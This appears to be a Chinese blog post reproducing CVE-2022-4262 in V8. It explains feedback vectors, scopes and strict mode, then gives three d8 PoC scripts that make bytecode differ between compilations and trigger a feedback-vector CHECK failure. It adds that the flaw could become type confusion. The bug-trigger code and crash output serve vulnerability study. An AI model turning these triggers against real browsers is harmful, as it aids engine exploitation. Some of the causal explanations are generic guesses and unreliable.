CVE-2022-4262复现

CVE-2022-4262复现

V8 的 Feedback 机制详解

V8 的 Feedback 机制是连接 解释器(Ignition)优化编译器(TurboFan) 的核心纽带,通过记录函数执行时的类型信息和调用模式,实现动态优化。

1. 核心数据结构
  • Feedback Metadata

    • 存储位置SharedFunctionInfo 对象的 outer_scope_info_or_feedback_metadata 字段(偏移 0xC)。

    • 作用 : 定义反馈向量的 槽位结构(Slot Layout) ,每个槽位对应一个需要收集信息的代码位置(如属性访问、函数调用)。

    • 字段

      • slot_count:槽位总数,决定 Feedback Vector 的长度。
  • Feedback Vector

    • 存储位置JSFunction 对象的 feedback_cell 字段(偏移 0x14)→ FeedbackCellvalue 字段(偏移 0x4)。

    • 作用 : 存储实际的 类型反馈数据(如调用目标、属性类型、隐式转换模式)。

    • 字段

      • length:必须与 FeedbackMetadata.slot_count 严格一致。
2. Feedback 收集过程
  1. 初始化

    • 函数首次编译时,Ignition 根据代码生成 FeedbackMetadata,确定需要监控的槽位(如 CallICLoadIC)。

    • 示例:

      css 复制代码
      function add(a, b) { return a + b; }

      addFeedbackMetadata 会为 a + b 的操作分配槽位,记录 ab 的类型。

  2. 运行时记录

    • 解释器执行字节码时,通过 Inline Cache(IC) 记录类型信息到 FeedbackVector

      • 类型反馈 :如 aSmi 还是 HeapObject
      • 调用目标 :如 eval() 的实际绑定位置(全局或局部作用域)。
    • 示例指令:

      less 复制代码
      LdaGlobal [5], [1]  // 记录全局变量访问的反馈到槽位1
  3. 优化编译

    • TurboFan 根据 FeedbackVector 的数据生成优化代码:

      • a + b 的反馈显示 ab 始终为 Smi,则生成快速整数加法指令。
      • eval 被遮蔽(如局部 const eval = 1),则生成动态作用域查找逻辑
3. Feedback Vector 与 Metadata 的一致性(强制校验目的是安全)
  • 强制校验 : V8 在 优化编译反馈向量初始化 时,会检查以下断言:

    scss 复制代码
    CHECK(feedback_vector->length() == feedback_metadata->slot_count());

    若不一致(如槽位数量变化未同步),会触发致命错误(如 Fatal error: Check failed: function->feedback_vector().length() == function->feedback_vector().metadata().slot_count())。

  • 动态更新 : 当函数被重新编译(如作用域变化或热更新)时,V8 会同步更新 FeedbackMetadataFeedbackVector 的槽位结构。

4. Feedback 的关键应用场景LdaGlobalLdaLookupGlobalSlot本文关键)
场景 作用 示例指令
内联缓存(IC) 记录属性读写的目标类型 LdaGlobal, StaGlobal
调用优化 记录函数调用的实际目标 CallUndefinedReceiver0
作用域解析 记录变量的查找路径(全局/闭包) LdaLookupGlobalSlot
类型保护 验证优化后的代码是否失效(如类型变化) CheckMaps

核心价值:通过动态类型反馈,使 TurboFan 生成高度优化的机器码,同时确保作用域和类型变化的正确性。

javascript作用域

1. 执行上下文(Execution Context)的核心组成

JavaScript 引擎通过 执行上下文 管理代码运行时的环境,其核心结构如下:

组件 描述
变量环境 (Variable Environment) 存储 var 声明的变量和函数声明(函数作用域)。
词法环境 (Lexical Environment) 存储 let/const 声明的变量和块作用域(ES6 引入,支持块级作用域)。
外层作用域 (Outer Scope) 指向父级作用域,形成 作用域链,用于变量查找。
This 绑定 确定当前执行上下文的 this 值(动态绑定,与作用域链无关)。
2. 作用域类型与变量存储
  • 全局作用域 (Global Scope)

    • 变量存储在全局对象(如 windowglobalThis)中。
    • 示例:var globalVar = 1 → 存储在全局变量环境中。
  • 函数作用域 (Function Scope)

    • var 声明的变量存储在 变量环境let/const 存储在 词法环境

    • 示例:

      csharp 复制代码
      function foo() {
        var x = 1; // 变量环境
        let y = 2; // 词法环境
      }
  • 块作用域 (Block Scope)

    • let/constclass 声明会创建块作用域。

    • 示例:

      csharp 复制代码
      if (true) {
        let z = 3; // 块级词法环境
      }
3. 作用域链的静态特性

作用域链在编译时确定,与函数调用位置无关。例如:

sql 复制代码
function outer() {
  let outerVar = "outer";
  function inner() {
    console.log(outerVar); // 作用域链:inner → outer → global
  }
  return inner;
}
const closure = outer();
closure(); // 输出 "outer"
  • 编译时inner 的外层作用域被标记为 outer 的作用域。
  • 运行时 :即使 closure() 在全局调用,inner 仍通过作用域链访问 outerVar
4. 变量遮蔽(Shadowing)

当内层作用域声明与外层同名变量时,外层变量被遮蔽:

javascript 复制代码
let eval = "shadowed"; // 全局eval被遮蔽
function test() {
  console.log(eval); // 输出 "shadowed"
}
test();
  • V8 字节码影响 : 若 eval 被遮蔽,字节码会使用 LdaLookupGlobalSlot(动态查找)而非 LdaGlobal(直接访问全局对象)。
5. This 绑定的动态性
  • 默认绑定 :非严格模式下,全局作用域中的函数 this 指向全局对象。

    scss 复制代码
    function foo() { console.log(this); }
    foo(); // 输出 global/window
  • 显式绑定 :通过 call/apply 动态修改 this

    ini 复制代码
    const obj = { a: 10 };
    foo.call(obj); // this 指向 obj
  • 箭头函数 :不创建独立 this,继承外层作用域的 this

    javascript 复制代码
    const obj = {
      bar: () => console.log(this) // this 继承自外层(如全局)
    };
    obj.bar(); // 输出 global/window
6. V8 引擎中的作用域实现
  • 作用域信息存储 : V8 通过 ScopeInfo 记录作用域类型(如 FUNCTION_SCOPEBLOCK_SCOPE)。

    • 示例:CreateFunctionContext [0], [2] 表示创建包含2个槽位的函数上下文。
  • 变量查找优化

    • 直接访问 :全局变量未被遮蔽时,使用 LdaGlobal 快速加载。
    • 动态查找 :若变量被遮蔽或需通过作用域链访问,使用 LdaLookupGlobalSlot

javaScript的严格(Strict)模式与松散(Sloppy)模式

1. 模式定义与启用
  • 严格模式 :通过 "use strict" 指令启用,对语法和行为进行严格约束。
  • 松散模式(Sloppy Mode) :默认模式,允许历史遗留的非严格行为。
2. 关键差异对比
特性 松散模式(Sloppy) 严格模式(Strict)
变量声明 未声明的变量自动成为全局变量(如 x = 1 未声明变量赋值抛出 ReferenceError
eval 作用域 eval 可创建或修改外层作用域变量 eval 运行在独立作用域,不影响外层变量
this 绑定 非函数调用的 this 指向全局对象(如 window 非函数调用的 this 指向 undefined
删除变量/函数 delete 删除不可配置属性静默失败 delete 删除不可配置属性抛出 TypeError
参数绑定 arguments 对象动态追踪参数变化 arguments 对象与参数解耦(性能优化)
八进制字面量 允许 0644(非标准) 禁止八进制字面量(需用 0o644
重复参数名 允许 function f(a, a) {} 抛出 SyntaxError
with 语句 允许使用 with(可能导致性能问题) 禁止 with,抛出 SyntaxError
3. 严格模式的核心优势
  1. 错误提前暴露

    • 松散模式:静默忽略错误(如赋值给未声明变量)。
    • 严格模式:直接抛出异常(如 ReferenceError),便于调试。
  2. 作用域隔离

    • 松散模式

      javascript 复制代码
      eval("var x = 1"); 
      console.log(x); // 输出 1(污染外层作用域)
    • 严格模式

      javascript 复制代码
      "use strict";
      eval("var x = 1"); 
      console.log(x); // ReferenceError(x 仅在 eval 内部可见)
  3. 性能优化

    • 严格模式下,V8 可生成更高效代码:

      • 明确的 this 绑定:避免动态查找全局对象。
      • 禁用 with:减少作用域链的不确定性。
      • 优化 arguments:避免动态追踪参数变化。
4. 类与严格模式
  • 自动启用严格模式 : ES6 的 class 声明体内部默认启用严格模式,无需显式声明。

    javascript 复制代码
    class Example {
      method() {
        x = 1; // ReferenceError(严格模式下未声明变量)
      }
    }
  • 影响

    • 类方法中的 this 默认绑定 undefined(而非全局对象)。
    • 禁止 arguments.calleearguments.caller
5. V8 引擎的底层影响
  • 作用域解析

    • 松散模式eval 可能动态修改作用域,导致字节码生成保守的 LdaLookupGlobalSlot
    • 严格模式eval 作用域隔离,可能生成更直接的 LdaGlobal
  • 优化潜力 : 严格模式下,V8 的 Feedback 机制 更高效,因变量和 this 的行为更可预测。

PoC1

ini 复制代码
/* 
/root/v8/v8/out/x64.release/d8  --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info  /root/v8/v8/..ypj_poc/1.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/1.js
*/
a = function f1() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    function ccc() { }
    {
        ((a = class b3 {
            [({ c: eval(), d: ccc(eval), e: ccc(eval) } ? 0 : (aa = 1, bb = 2))]
        }) => { let z = 0xdeadbeef; })(); // 新增z变量,以建立打印出的字节码与各JavaScript函数的对应关系
    }
    if (j == 11) {
        a();
    }
    %SystemBreak();
}

函数两次编译出的字节码不同。

可能的原因:

  1. 不同的优化级别(如Ignition解释器与TurboFan优化后的代码)。
  2. 代码中存在动态特性导致的不同编译路径。
  3. 函数作用域或上下文的不同导致的闭包创建差异。
  4. 全局变量或环境状态的变化影响了编译结果。
  5. V8版本或配置选项的不同导致的编译策略变化。
  6. 代码中存在条件执行路径,导致不同的字节码生成。
  7. 安全修复或代码更改导致的字节码结构调整。

首次编译函数中上文提到过的LdaGlobal字节码在第二次编译时都被替换为了LdaLookupGlobalSlot

具体分析:

  1. 作用域上下文差异

    • 第二次编译时,函数可能处于不同的上下文环境(如被包裹在块作用域或模块中),导致全局变量无法直接通过全局对象访问,需通过Context Slot 动态查找。
    • 示例:首次编译时全局变量直接绑定到全局对象(LdaGlobal),而第二次编译时变量可能被提升到外层块作用域,需通过作用域链查找(LdaLookupGlobalSlot)。
  2. 全局变量状态变化

    • 两次编译之间,全局变量可能经历了重新定义、删除或属性修改 (如变为不可配置),导致 V8 无法直接内联缓存其位置,转而使用动态查找。
  3. 闭包或环境捕获

    • 若函数在第二次编译时捕获了外部作用域的变量,V8 会为变量分配上下文槽 ,并通过 LdaLookupGlobalSlot 访问,而非直接操作全局对象。
yaml 复制代码
[generated bytecode for function:  (0x0e690011a3e9 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0xe690011a69a @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0xe690011a69d @    3 : 1a fa             PushContext r0
         0xe690011a69f @    5 : 10                LdaTheHole
         0xe690011a6a0 @    6 : 25 02             StaCurrentContextSlot [2]
         0xe690011a6a2 @    8 : 0b 03             Ldar a0
         0xe690011a6a4 @   10 : 9d 7d             JumpIfNotUndefined [125] (0xe690011a721 @ 135)
         0xe690011a6a6 @   12 : 81 01             CreateBlockContext [1]
         0xe690011a6a8 @   14 : 1a f9             PushContext r1
         0xe690011a6aa @   16 : 10                LdaTheHole
         0xe690011a6ab @   17 : 25 02             StaCurrentContextSlot [2]
         0xe690011a6ad @   19 : 10                LdaTheHole
         0xe690011a6ae @   20 : 25 03             StaCurrentContextSlot [3]
         0xe690011a6b0 @   22 : 10                LdaTheHole
         0xe690011a6b1 @   23 : bf                Star5
         0xe690011a6b2 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0xe690011a6b6 @   28 : c2                Star2
         0xe690011a6b7 @   29 : 13 02             LdaConstant [2]
         0xe690011a6b9 @   31 : c1                Star3
         0xe690011a6ba @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0xe690011a6be @   36 : bd                Star7
         0xe690011a6bf @   37 : 21 05 01          LdaGlobal [5], [1]
         0xe690011a6c2 @   40 : bc                Star8
         0xe690011a6c3 @   41 : 61 f2 03          CallUndefinedReceiver0 r8, [3]
         0xe690011a6c6 @   44 : 33 f3 06 05       DefineNamedOwnProperty r7, [6], [5]
         0xe690011a6ca @   48 : 14 fa 02 00       LdaContextSlot r0, [2], [0]
         0xe690011a6ce @   52 : bc                Star8
         0xe690011a6cf @   53 : 21 05 01          LdaGlobal [5], [1]
         0xe690011a6d2 @   56 : bb                Star9
         0xe690011a6d3 @   57 : 62 f2 f1 07       CallUndefinedReceiver1 r8, r9, [7]
         0xe690011a6d7 @   61 : 33 f3 07 09       DefineNamedOwnProperty r7, [7], [9]
         0xe690011a6db @   65 : 14 fa 02 00       LdaContextSlot r0, [2], [0]
         0xe690011a6df @   69 : bc                Star8
         0xe690011a6e0 @   70 : 21 05 01          LdaGlobal [5], [1]
         0xe690011a6e3 @   73 : bb                Star9
         0xe690011a6e4 @   74 : 62 f2 f1 0b       CallUndefinedReceiver1 r8, r9, [11]
         0xe690011a6e8 @   78 : 33 f3 08 0d       DefineNamedOwnProperty r7, [8], [13]
         0xe690011a6ec @   82 : 19 f8 f6          Mov r2, r4
         0xe690011a6ef @   85 : 0b f3             Ldar r7
         0xe690011a6f1 @   87 : 97 05             JumpIfToBooleanFalse [5] (0xe690011a6f6 @ 92)
         0xe690011a6f3 @   89 : 0c                LdaZero
         0xe690011a6f4 @   90 : 8a 0f             Jump [15] (0xe690011a703 @ 105)
         0xe690011a6f6 @   92 : 0d 01             LdaSmi [1]
         0xe690011a6f8 @   94 : 23 09 0f          StaGlobal [9], [15]
         0xe690011a6fb @   97 : 0d 02             LdaSmi [2]
         0xe690011a6fd @   99 : bd                Star7
         0xe690011a6fe @  100 : 23 0a 11          StaGlobal [10], [17]
         0xe690011a701 @  103 : 0b f3             Ldar r7
         0xe690011a703 @  105 : 73 f4             ToName r6
         0xe690011a705 @  107 : 0b f4             Ldar r6
         0xe690011a707 @  109 : 25 02             StaCurrentContextSlot [2]
         0xe690011a709 @  111 : 65 29 00 f7 04    CallRuntime [DefineClass], r3-r6
         0xe690011a70e @  116 : 0b f8             Ldar r2
         0xe690011a710 @  118 : 25 03             StaCurrentContextSlot [3]
         0xe690011a712 @  120 : 80 0b 01 02       CreateClosure [11], [1], #2
         0xe690011a716 @  124 : c1                Star3
         0xe690011a717 @  125 : 32 f8 0c 13       SetNamedProperty r2, [12], [19]
         0xe690011a71b @  129 : 1b f9             PopContext r1
         0xe690011a71d @  131 : 0b f8             Ldar r2
         0xe690011a71f @  133 : 8a 04             Jump [4] (0xe690011a723 @ 137)
         0xe690011a721 @  135 : 0b 03             Ldar a0
         0xe690011a723 @  137 : 25 02             StaCurrentContextSlot [2]
         0xe690011a725 @  139 : 0e                LdaUndefined
         0xe690011a726 @  140 : a9                Return
Constant pool (size = 13)
0xe690011a63d: [FixedArray] in OldSpace
 - map: 0x0e6900002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 13
           0: 0x0e690011a2d1 <ScopeInfo FUNCTION_SCOPE>
           1: 0x0e690011a301 <ScopeInfo CLASS_SCOPE>
           2: 0x0e690011a619 <FixedArray[7]>
           3: 0x0e690011a51d <SharedFunctionInfo b3>
           4: 0x0e690011a575 <ObjectBoilerplateDescription[7]>
           5: 0x0e6900006005 <String[4]: #eval>
           6: 0x0e69000040a5 <String[1]: #c>
           7: 0x0e69000040b5 <String[1]: #d>
           8: 0x0e69000040c5 <String[1]: #e>
           9: 0x0e690011a1d5 <String[2]: #aa>
          10: 0x0e690011a1e5 <String[2]: #bb>
          11: 0x0e690011a551 <SharedFunctionInfo <instance_members_initializer>>
          12: 0x0e69000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)
yaml 复制代码
[generated bytecode for function:  (0x0e690011a3e9 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0xe690011c4be @    0 : 83 00 02          CreateFunctionContext [0], [2]
         0xe690011c4c1 @    3 : 1a fa             PushContext r0
         0xe690011c4c3 @    5 : 10                LdaTheHole
         0xe690011c4c4 @    6 : 25 03             StaCurrentContextSlot [3]
         0xe690011c4c6 @    8 : 0b 03             Ldar a0
         0xe690011c4c8 @   10 : 9d 7d             JumpIfNotUndefined [125] (0xe690011c545 @ 135)
         0xe690011c4ca @   12 : 81 01             CreateBlockContext [1]
         0xe690011c4cc @   14 : 1a f9             PushContext r1
         0xe690011c4ce @   16 : 10                LdaTheHole
         0xe690011c4cf @   17 : 25 02             StaCurrentContextSlot [2]
         0xe690011c4d1 @   19 : 10                LdaTheHole
         0xe690011c4d2 @   20 : 25 03             StaCurrentContextSlot [3]
         0xe690011c4d4 @   22 : 10                LdaTheHole
         0xe690011c4d5 @   23 : bf                Star5
         0xe690011c4d6 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0xe690011c4da @   28 : c2                Star2
         0xe690011c4db @   29 : 13 02             LdaConstant [2]
         0xe690011c4dd @   31 : c1                Star3
         0xe690011c4de @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0xe690011c4e2 @   36 : bd                Star7
         0xe690011c4e3 @   37 : 28 05 01 02       LdaLookupGlobalSlot [5], [1], [2]
         0xe690011c4e7 @   41 : bc                Star8
         0xe690011c4e8 @   42 : 61 f2 03          CallUndefinedReceiver0 r8, [3]
         0xe690011c4eb @   45 : 33 f3 06 05       DefineNamedOwnProperty r7, [6], [5]
         0xe690011c4ef @   49 : 27 07 02 02       LdaLookupContextSlot [7], [2], [2]
         0xe690011c4f3 @   53 : bc                Star8
         0xe690011c4f4 @   54 : 28 05 07 02       LdaLookupGlobalSlot [5], [7], [2]
         0xe690011c4f8 @   58 : bb                Star9
         0xe690011c4f9 @   59 : 62 f2 f1 09       CallUndefinedReceiver1 r8, r9, [9]
         0xe690011c4fd @   63 : 33 f3 08 0b       DefineNamedOwnProperty r7, [8], [11]
         0xe690011c501 @   67 : 27 07 02 02       LdaLookupContextSlot [7], [2], [2]
         0xe690011c505 @   71 : bc                Star8
         0xe690011c506 @   72 : 28 05 0d 02       LdaLookupGlobalSlot [5], [13], [2]
         0xe690011c50a @   76 : bb                Star9
         0xe690011c50b @   77 : 62 f2 f1 0f       CallUndefinedReceiver1 r8, r9, [15]
         0xe690011c50f @   81 : 33 f3 09 11       DefineNamedOwnProperty r7, [9], [17]
         0xe690011c513 @   85 : 19 f8 f6          Mov r2, r4
         0xe690011c516 @   88 : 0b f3             Ldar r7
         0xe690011c518 @   90 : 97 05             JumpIfToBooleanFalse [5] (0xe690011c51d @ 95)
         0xe690011c51a @   92 : 0c                LdaZero
         0xe690011c51b @   93 : 8a 0c             Jump [12] (0xe690011c527 @ 105)
         0xe690011c51d @   95 : 0d 01             LdaSmi [1]
         0xe690011c51f @   97 : 2c 0a 01          StaLookupSlot [10], #1
         0xe690011c522 @  100 : 0d 02             LdaSmi [2]
         0xe690011c524 @  102 : 2c 0b 01          StaLookupSlot [11], #1
         0xe690011c527 @  105 : 73 f4             ToName r6
         0xe690011c529 @  107 : 0b f4             Ldar r6
         0xe690011c52b @  109 : 25 02             StaCurrentContextSlot [2]
         0xe690011c52d @  111 : 65 29 00 f7 04    CallRuntime [DefineClass], r3-r6
         0xe690011c532 @  116 : 0b f8             Ldar r2
         0xe690011c534 @  118 : 25 03             StaCurrentContextSlot [3]
         0xe690011c536 @  120 : 80 0c 01 02       CreateClosure [12], [1], #2
         0xe690011c53a @  124 : c1                Star3
         0xe690011c53b @  125 : 32 f8 0d 13       SetNamedProperty r2, [13], [19]
         0xe690011c53f @  129 : 1b f9             PopContext r1
         0xe690011c541 @  131 : 0b f8             Ldar r2
         0xe690011c543 @  133 : 8a 04             Jump [4] (0xe690011c547 @ 137)
         0xe690011c545 @  135 : 0b 03             Ldar a0
         0xe690011c547 @  137 : 25 03             StaCurrentContextSlot [3]
         0xe690011c549 @  139 : 0e                LdaUndefined
         0xe690011c54a @  140 : a9                Return
Constant pool (size = 14)
0xe690011c45d: [FixedArray] in OldSpace
 - map: 0x0e6900002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 14
           0: 0x0e690011c2b9 <ScopeInfo FUNCTION_SCOPE>
           1: 0x0e690011c2e9 <ScopeInfo CLASS_SCOPE>
           2: 0x0e690011c439 <FixedArray[7]>
           3: 0x0e690011c33d <SharedFunctionInfo b3>
           4: 0x0e690011c395 <ObjectBoilerplateDescription[7]>
           5: 0x0e6900006005 <String[4]: #eval>
           6: 0x0e69000040a5 <String[1]: #c>
           7: 0x0e690011a1b5 <String[3]: #ccc>
           8: 0x0e69000040b5 <String[1]: #d>
           9: 0x0e69000040c5 <String[1]: #e>
          10: 0x0e690011c251 <String[2]: #aa>
          11: 0x0e690011c261 <String[2]: #bb>
          12: 0x0e690011c371 <SharedFunctionInfo <instance_members_initializer>>
          13: 0x0e69000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)

PoC2

ini 复制代码
/* 
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info /root/v8/v8/..ypj_poc/2.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/2.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/2.js
*/
a = function f1() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    {
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 1))] // 化简了lambda表达式实例默认函数参数内部class的计算属性名内容
        }) => { let z = 0xdeadbeef; })();
    }
    if (j == 11) {
        a();
    }
}

V8 在初始化函数反馈单元时检测到 反馈向量长度与元数据槽位数不匹配 ,触发断言失败。

崩溃的原因:

  1. 反馈向量结构损坏

    • 反馈向量(Feedback Vector) 存储函数的类型反馈信息(如调用类型、属性访问模式),其长度由元数据中的 slot_count 决定。
    • 崩溃条件 : 当函数被重新编译(如惰性编译或优化编译)时,若反馈向量的 slot_count 未正确更新,而实际分配的向量长度与旧元数据不一致,导致断言失败。
  2. 作用域变化导致槽位数不匹配

    • 用户提供的字节码显示,第二次编译时:

      • 常量池新增了 ccc(条目7),暗示作用域中新增了变量或闭包。
      • 全局变量访问从 LdaGlobal 改为 LdaLookupGlobalSlot,表明作用域链延长。
    • 影响 : 作用域变化可能导致反馈向量需要更多槽位存储额外的类型反馈,但元数据未同步更新,导致 lengthslot_count 不一致。

  3. 并发编译竞争条件

    • 若函数在 惰性编译(Lazy Compilation)优化编译(TurboFan Optimization) 过程中被多次触发,可能因竞争条件导致反馈向量元数据更新不完整。
less 复制代码
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/2.js
RangeError: Array buffer allocation failed
​
​
#
# Fatal error in , line 0
# Check failed: function->feedback_vector().length() == function->feedback_vector().metadata().slot_count().
#
#
#
#FailureMessage Object: 0x7fffb0bf69d0
==== C stack trace ===============================
​
    /root/v8/v8/out/x64.release/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x56212aef4443]
    /root/v8/v8/out/x64.release/d8(+0x19a3b3b) [0x56212aef3b3b]
    /root/v8/v8/out/x64.release/d8(V8_Fatal(char const*, ...)+0x145) [0x56212aee6265]
    /root/v8/v8/out/x64.release/d8(v8::internal::JSFunction::InitializeFeedbackCell(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::IsCompiledScope*, bool)+0xf4) [0x56212a3cdf14]
    /root/v8/v8/out/x64.release/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x167) [0x56212a072cc7]
    /root/v8/v8/out/x64.release/d8(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0xcd) [0x56212a58993d]
    /root/v8/v8/out/x64.release/d8(+0x185a038) [0x56212adaa038]

修改运行参数逆向推出字节码不一致的原因

bash 复制代码
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-builtin-info /root/v8/v8/..ypj_poc/2.js

因为Root Cause,导致重编译时对FeedbackMetadata的slot_count计算错误。当我们巧妙构造lambda表达式,使得首次编译和重编译时FeedbackMetadata的slot_count和FeedbackVector的length相等时,就有可能发生类型混淆。

PoC3

ini 复制代码
/* 
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info /root/v8/v8/..ypj_poc/3.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3.js
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax /root/v8/v8/..ypj_poc/3.js
*/
function a() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    {
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 0xff))] //修改aa的赋值,便于在字节码中体现
        }) => { let z = 0xdeadbeef; })();
    }
    if (j == 11) {
        a();
    }
}

差异分析

  1. 指令替换:LdaGlobalLdaLookupGlobalSlot

    • 首次编译LdaGlobal [5], [1] 直接通过全局对象加载变量 eval(常量池索引5对应 #eval)。
    • 第二次编译LdaLookupGlobalSlot [5], [1], [2] 通过作用域链动态查找 加载 eval,表明变量可能被提升到外层作用域或存在闭包。
  2. 上下文槽位变化

    • 首次编译CreateFunctionContext [0], [1] 分配1个上下文槽。
    • 第二次编译CreateFunctionContext [0], [2] 分配2个上下文槽,暗示作用域结构更复杂(如新增块作用域或变量捕获)。
  3. 存储指令差异

    • 首次编译StaGlobal [7], [7] 直接存储到全局对象。
    • 第二次编译StaLookupSlot [7], #1 通过作用域链存储,表明变量可能位于闭包或块作用域中。

原因:

  1. 块作用域或模块上下文

    • 第二次编译的 CreateFunctionContext [0], [2] 表明函数上下文包含额外的槽位,可能由 let/constclass 声明引入的块作用域导致。
    • 此时,eval 可能被外层块作用域遮蔽(Shadowing),需通过 LdaLookupGlobalSlot 逐层查找。
  2. 闭包或环境捕获

    • 若函数捕获了外部作用域的变量(如通过嵌套函数或 eval),V8 会为变量分配上下文槽 ,并通过 LdaLookupGlobalSlot 访问,而非直接绑定到全局对象。
  3. 全局变量状态变化

    • 两次编译之间,eval 可能被重新定义(如 const eval = 1)或删除(delete globalThis.eval),导致 V8 放弃内联缓存,转为动态查找。
yaml 复制代码
[generated bytecode for function:  (0x118b0011a379 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x118b0011a5f6 @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0x118b0011a5f9 @    3 : 1a f9             PushContext r1
         0x118b0011a5fb @    5 : 10                LdaTheHole
         0x118b0011a5fc @    6 : 25 02             StaCurrentContextSlot [2]
         0x118b0011a5fe @    8 : 0b 03             Ldar a0
         0x118b0011a600 @   10 : 9d 58             JumpIfNotUndefined [88] (0x118b0011a658 @ 98)
         0x118b0011a602 @   12 : 81 01             CreateBlockContext [1]
         0x118b0011a604 @   14 : 1a f8             PushContext r2
         0x118b0011a606 @   16 : 10                LdaTheHole
         0x118b0011a607 @   17 : 25 02             StaCurrentContextSlot [2]
         0x118b0011a609 @   19 : 10                LdaTheHole
         0x118b0011a60a @   20 : 25 03             StaCurrentContextSlot [3]
         0x118b0011a60c @   22 : 10                LdaTheHole
         0x118b0011a60d @   23 : be                Star6
         0x118b0011a60e @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x118b0011a612 @   28 : c1                Star3
         0x118b0011a613 @   29 : 13 02             LdaConstant [2]
         0x118b0011a615 @   31 : c0                Star4
         0x118b0011a616 @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x118b0011a61a @   36 : bc                Star8
         0x118b0011a61b @   37 : 21 05 01          LdaGlobal [5], [1]
         0x118b0011a61e @   40 : bb                Star9
         0x118b0011a61f @   41 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x118b0011a622 @   44 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x118b0011a626 @   48 : 19 f7 f5          Mov r3, r5
         0x118b0011a629 @   51 : 0b f2             Ldar r8
         0x118b0011a62b @   53 : 97 05             JumpIfToBooleanFalse [5] (0x118b0011a630 @ 58)
         0x118b0011a62d @   55 : 0c                LdaZero
         0x118b0011a62e @   56 : 8a 0c             Jump [12] (0x118b0011a63a @ 68)
         0x118b0011a630 @   58 : 00 0d ff 00       LdaSmi.Wide [255]
         0x118b0011a634 @   62 : bc                Star8
         0x118b0011a635 @   63 : 23 07 07          StaGlobal [7], [7]
         0x118b0011a638 @   66 : 0b f2             Ldar r8
         0x118b0011a63a @   68 : 73 f3             ToName r7
         0x118b0011a63c @   70 : 0b f3             Ldar r7
         0x118b0011a63e @   72 : 25 02             StaCurrentContextSlot [2]
         0x118b0011a640 @   74 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x118b0011a645 @   79 : 0b f7             Ldar r3
         0x118b0011a647 @   81 : 25 03             StaCurrentContextSlot [3]
         0x118b0011a649 @   83 : 80 08 01 02       CreateClosure [8], [1], #2
         0x118b0011a64d @   87 : c0                Star4
         0x118b0011a64e @   88 : 32 f7 09 09       SetNamedProperty r3, [9], [9]
